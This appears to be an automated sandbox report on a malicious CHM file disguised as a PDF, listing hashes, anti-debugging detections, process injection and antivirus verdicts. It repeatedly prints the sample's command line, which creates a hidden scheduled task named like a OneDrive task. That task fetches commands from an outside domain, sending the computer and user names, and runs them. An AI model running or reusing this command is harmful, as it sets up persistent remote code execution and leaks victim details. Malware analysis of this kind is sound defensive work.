popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Joint working group.pdf.chm

AntiVM AntiDebug CHM Format
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 18, 2024, 10:55 a.m. July 18, 2024, 10:57 a.m.
Size 11.3KB
Type MS Windows HtmlHelp Data
MD5 b445f85edab25e9216874ca8cad0efb5
SHA256 8f03eb3fe7363bb7ab291c86680a71ad2820527ffbf067103f0c8909956c059e
CRC32 4ACEE292
ssdeep 96:NYyp5MrjrM8duYnuoSw/gP5x2cEZ6cq07w:NYyXMrjfMw85x2cs6w
Yara
  • chm_file_format - chm file format

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0
cmdline conhost.exe --headless schtasks.exe /create /tn OneDriveReportingTask /f /sc minute /mo 18 /tr "conhost --headless cmd /c curl -o C:\Users\Public\Documents\fre.tr littlehipsononline.com/yvfr.php?oo=%computername%_%username% & more C:\Users\Public\Documents\fre.tr|cmd"
cmdline "C:\Windows\System32\conhost.exe" --headless schtasks.exe /create /tn OneDriveReportingTask /f /sc minute /mo 18 /tr "conhost --headless cmd /c curl -o C:\Users\Public\Documents\fre.tr littlehipsononline.com/yvfr.php?oo=%computername%_%username% & more C:\Users\Public\Documents\fre.tr|cmd"
ALYac Trojan.Downloader.CHM
Kaspersky HEUR:Trojan.Script.Generic
Ikarus Trojan.Script
Google Detected
ZoneAlarm HEUR:Trojan.Script.Generic
alibabacloud Trojan:Multi/Generic.Gen
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x000007fffff90000
process_handle: 0xffffffffffffffff
1 0 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline conhost.exe --headless schtasks.exe /create /tn OneDriveReportingTask /f /sc minute /mo 18 /tr "conhost --headless cmd /c curl -o C:\Users\Public\Documents\fre.tr littlehipsononline.com/yvfr.php?oo=%computername%_%username% & more C:\Users\Public\Documents\fre.tr|cmd"
cmdline "C:\Windows\System32\conhost.exe" --headless schtasks.exe /create /tn OneDriveReportingTask /f /sc minute /mo 18 /tr "conhost --headless cmd /c curl -o C:\Users\Public\Documents\fre.tr littlehipsononline.com/yvfr.php?oo=%computername%_%username% & more C:\Users\Public\Documents\fre.tr|cmd"
cmdline conhost.exe --headless schtasks.exe /create /tn OneDriveReportingTask /f /sc minute /mo 18 /tr "conhost --headless cmd /c curl -o C:\Users\Public\Documents\fre.tr littlehipsononline.com/yvfr.php?oo=%computername%_%username% & more C:\Users\Public\Documents\fre.tr|cmd"
cmdline "C:\Windows\System32\conhost.exe" --headless schtasks.exe /create /tn OneDriveReportingTask /f /sc minute /mo 18 /tr "conhost --headless cmd /c curl -o C:\Users\Public\Documents\fre.tr littlehipsononline.com/yvfr.php?oo=%computername%_%username% & more C:\Users\Public\Documents\fre.tr|cmd"
Process injection Process 2544 resumed a thread in remote process 2632
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000284
suspend_count: 1
process_identifier: 2632
1 0 0